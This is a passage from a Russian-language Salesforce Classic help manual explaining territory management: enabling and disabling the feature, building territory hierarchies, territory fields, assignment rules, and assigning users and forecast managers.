«Планирование» или «Архивировано» посредством столбца «Состояние».

3. Щелкните ссылку «Удал.».

4. Проверьте эл. почту на наличие уведомления о завершении процесса удаления.
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Просмотр и управление правилами назначения на уровне модели
территории

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания или
управления правилами
территории:
• «Просмотр настройки и

конфигурации»

И

«Управление
территориями»

Система позволяет просматривать и управлять правилами назначения организации на
высоком уровне. Чтобы создать, изменить или просмотреть правила для территорий
модели, воспользуйтесь записью модели территории. Чтобы просмотреть критерии
правила или открыть запись правила для поиска назначенных территорий (при их
наличии), воспользуйтесь списком правил на уровне модели.

Прим.: Данные сведения относятся только к функции управления территориями
предприятия.

1. В настройке введите «Модели территории» в поле «Быстрый поиск» в меню
«Настройка», затем выберите «Модели территории».

2. Щелкните ссылку «Просмотр правил» напротив нужной модели территории.

3. Создайте правило, откройте запись правила для просмотра полных сведений или
наведите указатель мыши на имя нужного правила для просмотра его критериев в
списковом представлении «Правила назначения».

СМ. ТАКЖЕ:

Определение территорий, к которым применяется правило назначения

Активация правил назначения и их применение к дочерним территориям

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Возможностьпримененияправиланазначениякдочернимтерриториямдоступнатолько
на уровне территории. Правиланазначениянемогутприменяться кпотомкамна уровне
модели территории. Таким образом, правило может применяться к дочерним
территориям только при открытии записи правила из отдельной территории.

Прим.: Данные сведения относятся только к функции управления территориями
предприятия.

Убедитесь, чтозаписьправиласоздаетсяилиредактируетсяизсоответствующейобласти.
Рекомендуем использовать запись территории. Убедитесь в активации всех нужных
правил назначения: неактивные правила не влияют на назначения для связанных
территорий или любых дочерних территорий, к которым они применяются.
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Пример: Например, организацияиспользуетмодельтерритории «США», содержащуюдветерритории: «Восточные
штаты» и «Западные штаты». Территория «Восточные штаты» использует правило назначения «Организации
Восточныхштатов». Если пользователь открывает запись для модели территории «США», нажимает кнопку
«Просмотр правил», а затем выбирает ссылку «Правка» для редактирования записи правила «Организации
Восточныхштатов», то система отображает последнее действие, позволяющее активировать правило.

Еслипользовательоткрывает запись территории «Восточныештаты», а затемвыбирает ссылку «Правка»напротив
записиправила «ОрганизацииВосточныхштатов» (помимо этапа активацииили деактивацииправила), то система
отображает дополнительное действие, позволяющее применить правило к потомкам территории «Восточные
штаты».

Выключение функции управления территориями предприятия

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для выключения функции
управления территориями
предприятия:
• «Настройка

приложения»

Чтобывоспользоваться другимисредствамипредоставленияобщегодоступа к записям,
выключите функцию управления территориями предприятия.

Прим.: Данные сведения относятся только к функции управления территориями
предприятия.

Важное замечание: При выключениифункции управления территориями
предприятия пользователи теряют доступ к записям на основе назначений
территорий, а организация теряет доступ к даннымпо управлениютерриториями.
При повторном включениифункции управления территориями предприятия
пользователи могут потерять данные, которые ранее были доступны посредством
данной функции.

1. Прежде чем выключить функцию управления территориями предприятия,
архивируйте активную модель территории.

2. Введите строку «Территории» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Параметры».

3. Нажмите кнопку «Выключитьфункцию управления территориями 2.0».
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Настройка территорий для управления организациями

Включение функции управления территориями

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения функции
управления территориями:
• «Управление

территориями»

ПередвключениемфункцииуправлениятерриториямисвяжитесьсSalesforceипроверьте,
удовлетворяет ли организация всем требованиям.

Прим.: Данные сведения относятся только к исходной функции управления
территориями.

По умолчаниюфункция управления территориями отключена в системе Salesforce.
Чтобы включить функцию управления территориями в организации, обратитесь в
компанию Salesforce.

Прим.: Оригинальное управление территориями доступно только с
настраиваемымипрогнозамиинеподдерживается совместнымипрогнозами. Если
первоначальноеуправлениетерриториямиактивно, тоиспользованиесовместных
прогнозов недоступно. Использование новейшейфункции управления
территориямипредприятияневозможно с настраиваемымипрогнозами. Функция
управления территориямипредприятияифункция «Совместныепрогнозы» могут
быть одновременно включены и использоваться в организации Salesforce, но в
настоящее время не интегрированы для совместной работы.

Ниже перечислены требования, которые должны быть выполнены перед включением
функции управления территориями.

• Чтобы включитьфункцию управления территориями, в вашей организации должно использоваться настраиваемое
прогнозирование. Чтобы определить, включена ли функция настраиваемого прогнозирования в организации, см.
раздел «Включена ли функция настраиваемого прогнозирования?» на странице 1682.

Чтобы включить функцию управления территориями в организации, выполните указанные ниже действия.

1. Введите строку «Территория» в поле «Территория» в меню «Настройка» Salesforce и выберите пункт «Параметры
территории».

2. При необходимости измените параметры управления территориями для всей организации на странице «Параметры
территории». См. раздел «Настройка параметров управления территориями» на странице 2056.

3. Функцияуправлениятерриториямиможетбыть включенадвумя способами. Выберитенужныйспособв зависимости
от дальнейших действий с данными текущих прогнозов. Нажмите кнопку «Включитьфункцию управления
территориями» или «Включитьфункцию управления территориями с нуля».

Что происходит при нажатии кнопки «Включитьфункцию управления территориями»?
Ниже описан алгоритм автоматического копирования текущей иерархии прогнозов и данных прогнозов в
иерархию территорий, которое выполняется при нажатии данной кнопки.

• Имя организации используется в качестве верхнего уровня иерархии территорий.

• Иерархиятерриторийдополняетсяновымитерриториями, которыесоответствуютотдельнымролямвиерархии
прогнозов.

• Параметрыобщегодоступакпрогнозам, установленногодляролейвручную, копируютсявновуютерриторию.
Дополнительную информацию о предоставлении общего доступа вручную к прогнозам см. в разделе
«Предоставление общего доступа к прогнозам вручную» на странице 2205.

• Активные пользователи Salesforce добавляются в территории на основе ролей.

• Возможности назначаются территории ответственного за возможность.
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• Организации не назначаются в иерархии территорий.

• После включения функции управления территориями прогнозы функционируют без изменений, если
территории не добавлялись и не изменялись.

Что происходит при нажатии кнопки «Включитьфункцию управления территориями с нуля»?
Ниже перечислены действия, выполняемые при нажатии данной кнопки.

• Все данные текущих прогнозов удаляются.

• Создается пустая иерархия территорий.

РекомендуемиспользоватьданнуюкнопкутолькодлянастройкиновойорганизацииSalesforce, вкоторойотсутствует
иерархия прогнозов.

Внимание: Нажатие кнопки «Включитьфункцию управления территориями с нуля» может привести
к необратимой потере данных.

4. Чтобынастроитьполя, макетыстранициполномочияпользователя, связанныес территориями, выполните указанные
ниже действия.

• Изпараметровуправленияобъектамидляорганизацийперейдитекмакетамстраницидобавьтеполя «Территории»
и «Исключить из правил назначения территорий» вмакеты страницорганизаций. Для каждогомакета страниц
организаций можно установить, могут ли пользователи выбирать выполнение правил назначения организаций
во время их сохранения. Можно также установить, какие правила назначения организаций будут выполняться по
умолчанию при сохранении организаций.

• Из параметров управления объектами для возможностей перейдите к макетам страницы и добавьте поле
«Территория» в макет страниц возможностей.

• Чтобы позволить пользователю быть администратором иерархии территорий, наделите его правом управления
территориями посредством набора полномочий или профилей. Полномочие «Управление территориями»
автоматически предоставляется пользователям с полномочием «Настройка приложения», которое было
предоставлено до включения функции управления территориями.

5. Чтобы начать работу с новой иерархией территорий, введите строку «Иерархия» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Иерархия территорий». См. раздел «Создание иерархии территорий» на странице
2057.

СМ. ТАКЖЕ:

Включена ли функция настраиваемого прогнозирования?

Настройка параметров управления территориями
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Настройка параметров управления территориями

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки параметров
территории:
• «Управление

территориями»

Прим.: Данные сведения относятся только к исходной функции управления
территориями.

Новые территории позволяют определить уровень доступа по умолчанию к
организациям, контактам, возможностямиобращениям, атакжепредоставитьменеджерам
прогнозов полномочие на управление нижестоящими территориями.

1. Введите строку «Территория» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Параметры управления территориями».

2. Выберите уровни доступа по умолчаниюк организациям, контактам (в зависимости
от единых стандартных параметров), возможностям и обращениям. Данные уровни
доступа будут использоваться по умолчанию при добавлении новой территории.
Описание этих полей см. в разделе «Поля территории» на странице 2060.

Прим.: Изменение этих параметров является необратимым и не влияет на
текущие территории.

Уровни доступа по умолчаниюмогут быть переопределеныпри созданииили
редактированииотдельной территории. См. раздел «Создание территорий»на
странице 2059.

3. Принеобходимостиустановитефлажок «Управление территориями может осуществляться менеджерами прогнозов».
Данныйфлажок позволяет менеджерам прогнозов управлять подчиненными территориями, а именно: управлять
пользователями, вручную добавлять организации и определять правила назначения организации для нижестоящих
территорий. Кроме того, они могут добавлять дочерние территории в текущую и нижестоящие территории.
Дополнительнуюинформациюоменеджерахпрогнозовсм. вразделе «Назначениеменеджеровпрогнозоввиерархии
прогнозов» на странице 2203.

СМ. ТАКЖЕ:

Включение функции управления территориями

Отображение и редактирование территорий

Управление территориями

Создание иерархии территорий
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Создание иерархии территорий

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра территорий:
• «Просмотр настройки и

конфигурации»

Для редактирования
территорий:
• «Управление

территориями»

ИЛИ

You are a forecast
manager. Forecast
managers can manage
territories of those users
working below them in
territory hierarchy.

Прим.: Данные сведения относятся только к исходной функции управления
территориями.

Прим.: Принажатиикнопки«Включитьфункциюуправлениятерриториями»
длявключенияфункцииуправлениятерриториямииерархиятерриторийсоздается
на основе текущей иерархии прогнозов.

Чтобыначать работу с иерархией территорийорганизации, введите строку «Иерархия»
в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Иерархия
территорий». Ниже перечислены термины, относящиеся к территориям иерархии.

Родительская территория
Вышестоящая территория в иерархии территорий. Каждой территории, кроме
территории верхнего уровня, соответствует только одна родительская иерархия.

Дочерняя территория
Нижестоящая территория в иерархии территорий. Родительская территорияможет
содержать неограниченное количество дочерних территорий.

Одноуровневая территория
Дочерние территории, соответствующие одной родительской территории.

Чтобыизменитьспособотображенияиерархиитерриторий, выберитенужное значение
раскрывающегося списка.

Показать в виде дерева
Отображение взаимосвязей «родитель — потомок» между территориями. Чтобы
просмотретьвсетерритории, щелкнитессылку«Развернутьвсе». Чтобыпросмотреть
только территории верхнего уровня, щелкните ссылку «Свернуть все». Чтобы
развернуть или свернуть отдельный узел, щелкните значок плюса (+) илиминуса (-).

Показать в виде отсортированного списка
Отображениеспискатерриторий, сортируемогопоименитерритории, родительской
территории (поле «Подчиненный») или описанию.

Чтобыпросмотретьотфильтрованныйсписок элементов, выберитенужноепредставлениевраскрывающемсясписке
«Просмотр» илищелкните ссылку «Создать новое представление» для разработки собственных настраиваемых
представлений.Чтобыизменитьилиудалитьлюбоесозданноепредставление, выберите его враскрывающемсясписке
«Просмотр» ищелкните ссылку «Правка».

Показать в виде списка
Отображение списка родительских и дочерних территорий, сгруппированных в алфавитном порядке по имени
территории верхнего уровня. Столбцыне поддерживают возможность сортировки. Данное представление доступно
только для иерархий, содержащих не более 1 000 территорий.

Каждое представление содержит ссылки для создания, редактирования и удаления территорий.

СМ. ТАКЖЕ:

Управление территориями

Отображение и редактирование территорий
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Отображение и редактирование территорий

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра территорий:
• «Просмотр настройки и

конфигурации»

Для редактирования
территорий:
• «Управление

территориями»

ИЛИ

Пользователь является
менеджером прогнозов.
Менеджеры прогнозов
могут управлять
территориями тех
пользователей, которые
работают ниже их
уровня в иерархии
территорий.

Страницасведенийотерриториипозволяетпросмотретьиизменитьразличныесвойства
территории, включая связанныетерритории, добавленныеорганизациииназначенных
пользователей.

Прим.: Данные сведения относятся только к исходной функции управления
территориями.

Отображение территорий
1. В настройке введите «Иерархия» в поле «Быстрый поиск», затем выберите

«Иерархия территорий».

2. Чтобы просмотреть территорию, щелкните имя нужной территории.

Просмотр связанных территорий
Список «Иерархия» в верхнейчастистраницысведенийотерриторииотображает связь
данной территории с территорией верхнего уровня в иерархии территорий. Чтобы
просмотреть имена других территорий, которые используют эту же родительскую
территорию, воспользуйтесьсписком «Родственные узлы». Чтобыпросмотретьсведения
о территории, щелкните имя нужной территории в любомиз этих списков. Кроме того,
страница сведений о территории содержит связанный список «Дочерние территории»
(см. подраздел «Работа со связанными списками территории» на странице 2059).

Редактирование территорий
Чтобы обновить текущую территорию, нажмите кнопку «Правка» и измените нужные
поля. Дополнительную информацию см. в разделах «Поля территории» на странице
2060 и «Создание настраиваемых полей территории» на странице 2062.

Позавершенииредактирования, котороевлияетнабольшойобъемданных, пользователю
отправляется подтверждение по электронной почте.

Прим.: Редактирование групп, ролей и территорий инициирует автоматический
пересчет правил общего доступа для добавления или удаления доступа.

Клонирование территорий
Чтобы создать точную копию текущей территории, нажмите кнопку «Клонировать». Клонированная и исходная
территорииимеютоднуитужеродительскуютерриторию. Обратите внимание, чтоназначенныепользователи, правила
назначения организации и организации, назначенные вручную, не подлежат клонированию.

Прим.: Значение поля, доступного только для чтения, не может быть перенесено в клонированную запись.

Просмотр организаций, назначенных территории
Чтобы просмотреть организации, назначенные текущей и подчиненным территориям, нажмите кнопку «Просмотр
организаций». Данный список содержит организации, назначенные вручную, иорганизации, назначенные с помощью
правил.
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Работа со связанными списками территории
Ниже перечислены связанные списки, доступные на странице сведений о любой территории.

• «Назначенныепользователи»: пользователи территории. См. раздел «Управлениепользователямив территориях»
на странице 2064.

• «Наследованные правила назначения организации»: правила назначения организации, определенные в
родительской территории. См. раздел «Управление правилами назначения организации» на странице 2069.

• «Правила назначения организации, заданные в данной территории»: правила назначения организации для
данной территории. См. раздел «Управление правилами назначения организации» на странице 2069.

• «Организации, назначенные вручную»: организации, добавленные в данную территорию вручную. См. раздел
«Назначение организаций вручную территориям» на странице 2078.

• «Дочерниетерритории»: нижестоящиетерриториивиерархиитерриторий. Чтобысоздатьдочернюютерриторию
для этой же территории, нажмите кнопку «Добавить территорию». Чтобы просмотреть страницу сведений о
дочерней территории, щелкните имя территории.

СМ. ТАКЖЕ:

Создание иерархии территорий

Включение функции управления территориями

Добавление менеджеров прогнозов в территории

Создание территорий

Создание территорий

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания территорий:
• «Управление

территориями»

ИЛИ

You are a forecast
manager. Forecast
managers can manage
territories of those users
working below them in
territory hierarchy.

Прим.: Данные сведения относятся только к исходной функции управления
территориями.

Для одной организации может быть создано не более 500 территорий. Чтобы добавить
новую территорию, выполните указанные ниже действия.

1. В настройке введите «Иерархия» в поле «Быстрый поиск», затем выберите
«Иерархия территорий».

2. Нажмите кнопку «Добавить территорию». Или нажмите кнопку «Добавить
территорию» в связанном списке «Дочерние территории» на странице сведений о
территории.

3. Чтобы определить новую территорию, заполните или измените поля. Описание
полей см. в разделе «Поля территории» на странице 2060.

Территории содержат следующиеобязательные стандартныеполя: «Метка», «Имя
территории» и «Родительская территория». Крометого, территориимогутсодержать
настраиваемые поля. Дополнительную информацию см. в разделе «Создание
настраиваемых полей территории» на странице 2062.
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4. Чтобысохранить территорию, нажмитекнопку «Сохранить». Чтобысоздатьдополнительныетерритории, нажмите
кнопку «Сохранить и создать».

СМ. ТАКЖЕ:

Поля территорий

Создание настраиваемых полей территории

Создание иерархии территорий

Поля территорий

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для редактирования
территорий:
• «Управление

территориями»

ИЛИ

You are a forecast
manager. Forecast
managers can manage
territories of those users
working below them in
territory hierarchy.

Прим.: Данные сведения относятся только к исходной функции управления
территориями.

Ниже перечислены поля, доступные в территории.

ОписаниеИмя поля

Данное поле определяет уровень доступа
участников территории к организациям
территории: только просмотр, просмотр
и редактирование или просмотр,
редактирование, перенос и удаление.

Доступ к организации

Данное поле определяет уровень доступа
участников территории к обращениям в
организациях территории, независимо от
их ответственных сотрудников: нет
доступа, только просмотр или просмотр
и редактирование.

Доступ к обращению

Установите данныйфлажок для
сохранения возможностей в текущей и
дочерних территориях при выполнении
правил назначения организации.

Ограничить назначение возможности

Данное поле определяет уровень доступа
участников территории к контактам в
организациях территории, независимо от
их ответственных сотрудников: нет

Доступ к контакту

доступа, только просмотр или просмотр
и редактирование.

Пользователь, имеющий доступ к
прогнозам в дочерних и нижестоящих

Менеджер прогнозов

территориях. Чтобы изменить значение
данного поля, нажмите кнопку
«Изменить» на странице сведений о
территории. Менеджер прогнозов,
включенный на странице «Параметры
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ОписаниеИмя поля

территории», может управлять нижестоящими
территориями иерархии.

Имя, используемое для обозначения территории на всех
страницах пользовательского интерфейса.

Метка

Данное поле определяет уровень доступа участников
территории к возможностям в организациях территории,

Доступ к возможности

независимоотихответственныхсотрудников: нетдоступа,
только просмотр или просмотр и редактирование.

Вышестоящая территория в иерархии территорий.
Иерархиядолжнасодержатьдействительнуюродительскую

Родительская территория

территорию. Родительскаятерриторияможетбытьвыбрана
с помощью значка поиска.

Данное поле доступно только для чтения и отображается
на странице сведений о территории. Каждая территория

Группы общего доступа

поддерживает две группы общего доступа (одна для
территории, вторая для территории и дочерних
территорий). Чтобы просмотреть участников группы
общего доступа к территории, щелкните «Территория».
Чтобы просмотреть участников группы общего доступа к
территории и ее дочерним территориям, щелкните
«Территория и подчиненные территории».

Прим.: Пользователи отображаются в качестве
участников группы только в том случае, если группа
используется в правилах общего доступа или при
предоставлении общего доступа вручную.

Уникальное имя, используемое интерфейсом API и
управляемыми пакетами.

Имя территории

Описание территории.Описание территории

СМ. ТАКЖЕ:

Создание настраиваемых полей территории

Отображение и редактирование территорий

Создание территорий

Управление территориями. Вопросы и ответы
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Создание настраиваемых полей территории

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания или
редактирования
настраиваемых полей
территории:
• «Управление

территориями»

ИЛИ

You are a forecast
manager. Forecast
managers can manage
territories of those users
working below them in
territory hierarchy.

Для одной организации может быть создано не более 500 настраиваемых полей
территории.

Прим.: Данные сведения относятся только к исходной функции управления
территориями.

В разделе настроек управления объектами для территорий перейдите в раздел полей.
Данный раздел позволяет просмотреть сведения о стандартных полях, создать или
изменить настраиваемые поля и определить зависимости полей.

Прим.: Территории не имеют настраиваемых макетов страниц. Новые
настраиваемыеполядобавляютсявалфавитномпорядкевнижнюючастьстраницы
сведений о территории.

СМ. ТАКЖЕ:

Отображение и редактирование территорий

Создание территорий

Поля территорий

Поиск по параметрам управления объектами
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Удаление территорий

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для удаления территорий:
• «Управление

территориями»

ИЛИ

You are a forecast
manager. Forecast
managers can manage
territories of those users
working below them in
territory hierarchy.

Прим.: Данные сведения относятся только к исходной функции управления
территориями.

Территории, содержащие дочерние территории, не могут быть удалены. Ниже
перечислены элементы, которые больше не будут связаны с территорией в случае ее
удаления.

• Все пользователи, независимо от наличия флажка «Активно в территории»

• Все организации, назначенные вручную или автоматически

• Все возможности

Чтобы удалить территорию, выполните указанные ниже действия.

1. В настройке введите «Иерархия» в поле «Быстрый поиск», затем выберите
«Иерархия территорий».

2. Щелкните ссылку «Удал.»напротив нужной территории в иерархии. Или выберите
имя нужной территории и нажмите кнопку «Удалить».

Прим.: Восстановление организации или возможности из корзины инициирует
восстановление назначения территории, но не активирует оценку правил
назначенияорганизаций. Восстановленнаязаписьможетиспользоватьтерритории,
которыене соответствуютновымправиламназначенияорганизаций, заданнымво
время хранения данной записи в корзине.

СМ. ТАКЖЕ:

Отображение и редактирование территорий

Создание иерархии территорий
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Управление пользователями в территориях

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для назначения
пользователей территориям:
• «Управление

территориями»

И

«Управление
пользователями»

Прим.: Данные сведения относятся только к исходной функции управления
территориями.

Территорияможетсодержатьнеограниченноеколичествопользователей, апользователь
может быть назначен неограниченному количеству территорий.

Некоторыетерриторииподдерживаютобастатусапользователя: «Активно» и «Активно
в территории».

Активно
Активный пользователь может выполнить вход в систему Salesforce.

Деактивированныепользователипродолжаютнестиответственностьзавозможности
иотображаютсявпрогнозахитерриториях. Деактивацияпользователейпрепятствует
переопределениюпрогнозоввозможностей, скорректированныхитоговивыбранных
данных менеджера для прогнозов подчиненных. Тем не менее, менеджер может
применять переопределения своих выбранных данных к прогнозам
деактивированного пользователя. Сводные стоимости сохраняются.
Деактивированный пользователь, который активируется повторно, может
возобновить доступные ранее бизнес-процессы. Деактивированный пользователь,
для которого снят флажок «Разрешить прогнозирование», удаляется из всех
назначенных территорий.

Чтобызадать активныйстатуспользователя, внеситеизменениянастраницеличных
сведений в разделе личных параметров.

Активно в территории
Еслина странице сведенийо территорииустановленфлажок «Активно в территории», топользователямдоступны
открытыеизакрытыевозможности, либонедоступнывсевозможностиданнойтерритории. Пользователи, длякоторых
снят флажок «Активно в территории», переносятся или удаляются из территории, но сохраняют ответственность
за ее возможности.

Чтобы просмотреть территории, к которым относится пользователь, воспользуйтесь связанным списком «Территории»
на странице личных сведений. Для просмотра такого списка для любого пользователя введите «Пользователи» в поле
«Быстрый поиск» в меню «Настройка», затем выберите «Пользователи».

Добавление пользователей в территории
Чтобы добавить пользователя в территорию, выполните указанные ниже действия.

1. Нажмите кнопку «Добавить пользователей» на странице сведений о территории.

2. Чтобыпросмотретьотфильтрованныйсписок элементов, выберитенужноепредставлениевраскрывающемсясписке
«Просмотр» илищелкните ссылку «Создать новое представление» для разработки собственных настраиваемых
представлений.

3. Чтобыпереместить пользователей из списка доступных в список выбранных или наоборот, установите или снимите
флажки в столбце «Действие». Ниже перечислены дополнительные доступные действия.

• Чтобыпросмотреть списокпользователей, именакоторыхначинаются сопределеннойбуквы, щелкните этубукву.

• Чтобы просмотреть список всех пользователей, соответствующих критерию текущего представления, щелкните
«Все».

• Чтобы переместить всех доступных пользователей в список выбранных, щелкните «выбрать перечисленное».
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• Чтобы переместить пользователей из списка выбранных в список доступных, щелкните «отменить выбор
перечисленного» или «отменить выбор».

Прим.: Пользователи, назначенные территории, не отображаются в списке доступных пользователей (даже в
том случае, если они соответствуют критерию спискового представления).

4. Выберите пользователей, которые должны быть назначены территории, и нажмите кнопку «Назначить».

Удаление пользователей из территорий
Чтобы выбрать пользователя, которому будут назначены открытые возможности удаленного пользователя, выполните
указанные ниже действия.

1. Щелкнитессылку «Удалить»напротивименинужногопользователяв связанномсписке «Назначенныепользователи»
на странице сведений о территории.

2. Чтобы выбрать пользователя, который примет ответственность за любые открытые возможности, щелкните значок

поиска «Новый ответственный»  ( ).

3. Или пропустите поле «Новый ответственный». Ниже описаны возможные действия.

• Если родительской территории назначен менеджер прогнозов, то он становится ответственным за открытые
возможности пользователя. Кроме того, менеджер прогнозов назначается территории, а флажок «Активно в
территории» снимается.

• Если родительской территории не назначен менеджер прогнозов, то пользователь остается в территории, а
флажок «Активно в территории» снимается.

4. Нажмите кнопку «Сохранить».

По завершении операции, которая влияет на большой объем данных, пользователю отправляется электронное
подтверждение.

Перенос пользователей между территориями
Мастерпереносапользователейпозволяетперемещатьпользователяизоднойтерриториивдругуюивыбиратьоткрытые
возможности, за которые пользователь продолжает нести ответственность, а также назначать открытые возможности
перенесенного пользователя новым ответственным.

Чтобы перенести пользователя в другую территорию, выполните указанные ниже действия.

1. Щелкнитессылку«Перенос»напротивименинужногопользователявсвязанномсписке «Назначенныепользователи»
на странице сведений о территории.

2. Щелкните ссылку «Выбрать» напротив целевой территории. Чтобыпросмотреть целевую территорию, разверните
или сверните узлы в иерархии территорий.

3. Чтобывыбратьпользователя, которыйприметответственностьзаоткрытыевозможностиперенесенногопользователя,

щелкните значок поиска «Новый ответственный»  ( ). Для продолжения нажмите кнопку «Далее».

В случае отсутствия получателя, открытые возможности перенесенного пользователя автоматически назначаются
менеджеру прогнозов в территории, которая является родительской для бывшей территории пользователя. В случае
отсутствияменеджерапрогнозоввродительскойтерритории, перенесенныйпользователь сохраняетответственность
за свои возможности.

4. Выберите списковое представление открытых возможностей пользователя.
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5. Чтобыпереместить возможностииз списка доступныхв список выбранныхилинаоборот, щелкните «Выбрать»или
«Отменить выбор». Ниже перечислены дополнительные доступные действия.

• Чтобыпросмотреть список возможностей, имена которыхначинаются сопределеннойбуквы, щелкните этубукву.

• Чтобы просмотреть список всех возможностей, соответствующих критерию текущего представления, щелкните
«Все».

• Чтобы переместить все доступные возможности в список выбранных, щелкните «выбрать перечисленное».

• Чтобы переместить возможности из списка выбранных в список доступных, щелкните «отменить выбор
перечисленного» или «отменить выбор».

6. Выберите возможности, которые должны быть сохранены для пользователя, и нажмите кнопку «Перенос».

По завершении операции, которая влияет на большой объем данных, пользователю отправляется электронное
подтверждение.

Прим.: Территории, из которых удаляются менеджеры прогнозов, больше не содержат прогнозов, а все
переопределениявозможностейдляэтихтерриторий, которыебылисозданыменеджерамипрогнозоввродительских
территориях, подлежат удалению. См. раздел «Переопределение настраиваемых прогнозов» на странице 1688.

СМ. ТАКЖЕ:

Отображение и редактирование территорий

Добавление менеджеров прогнозов в территории
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Просмотр списков назначенных пользователей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Дляпросмотра назначенных
пользователей:
• «Просмотр настройки и

конфигурации»

Для удаления или переноса
пользователя:
• «Управление

территориями»

И

«Управление
пользователями»

Прим.: Данные сведения относятся только к исходной функции управления
территориями.

Страницасоспискомназначенныхпользователейсодержитпользователей, назначенных
выбранной территории. Данная страница позволяет просмотреть подробные сведения
о пользователе, удалить пользователей из территорий, перенести пользователей из
одной территории в другую и получить доступ к другим связанным данным.

• Чтобы просмотреть отфильтрованный список элементов, выберите нужное
представление в раскрывающемся списке «Просмотр» илищелкните ссылку
«Создать новое представление» для разработки собственных настраиваемых
представлений.Поумолчаниювраскрывающемсясписке «Просмотр» отображается
последнее просмотренное пользователем представление.

• Чтобы просмотреть подробные сведения о пользователе, щелкните имя нужного
пользователя.

• Чтобы удалить пользователя из территории, щелкните ссылку «Удалить» напротив
его имени.

• Чтобы перенести пользователя из одной территории в другую, щелкните ссылку
«Перенос» напротив его имени.

СМ. ТАКЖЕ:

Управление территориями

Управление правилами назначения организации
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Добавление менеджеров прогнозов в территории

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для назначения менеджеров
прогнозов территориям:
• «Управление

пользователями»

И

«Управление
территориями»

И

«Настройка
приложения»

Прим.: Данные сведения относятся только к исходной функции управления
территориями.

Нижеперечисленырекомендациипоназначениюменеджерапрогнозовдлятерритории.

• Территория может содержать только одного менеджера прогнозов. См. раздел
«Назначение менеджеров прогнозов в иерархии прогнозов» на странице 2203.

• Прогнозы от дочерних и нижестоящих территорий передаются менеджерам
прогнозов.

• Прогнозы доступны только для тех территорий, которые содержат менеджеров
прогнозов.

• Менеджеры прогнозов могут принимать возможности при переносе или удалении
пользователей территории.

• Менеджеры прогнозов могут принимать возможности при выполнении правил
назначения организации.

• Менеджеры прогнозов могут быть назначены в качестве делегированных
администраторов для нижестоящих территорий на странице «Параметры
территории».

Чтобы назначить или изменить менеджера прогнозов для территории, выполните
указанные ниже действия.

1. Щелкните«Изменить»напротивполя «Менеджер прогнозов» настраницесведений
о территории.

2. Выберите нужное имя в раскрывающемся списке.

Чтобыпросмотретьдочерниеинижестоящиетерритории, прогнозыкоторыхбудут
доступны менеджеру прогнозов, воспользуйтесь древовидным представлением
иерархии территорий справа.

3. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Назначение менеджеров прогнозов в иерархии прогнозов

Отображение и редактирование территорий

Настройка параметров управления территориями
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Управление правилами назначения организации

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для управления правилами
назначения организации:
• «Управление

территориями»

ИЛИ

Пользователь является
менеджером прогнозов.
Менеджеры прогнозов
могут управлять
территориями тех
пользователей, которые
работают ниже их
уровня в иерархии
территорий.

Прим.: Данные сведения относятся только к исходной функции управления
территориями.

Правила назначения организации позволяют автоматически перемещать организации
и связанные с ними возможности или обращения в территории на основе любого
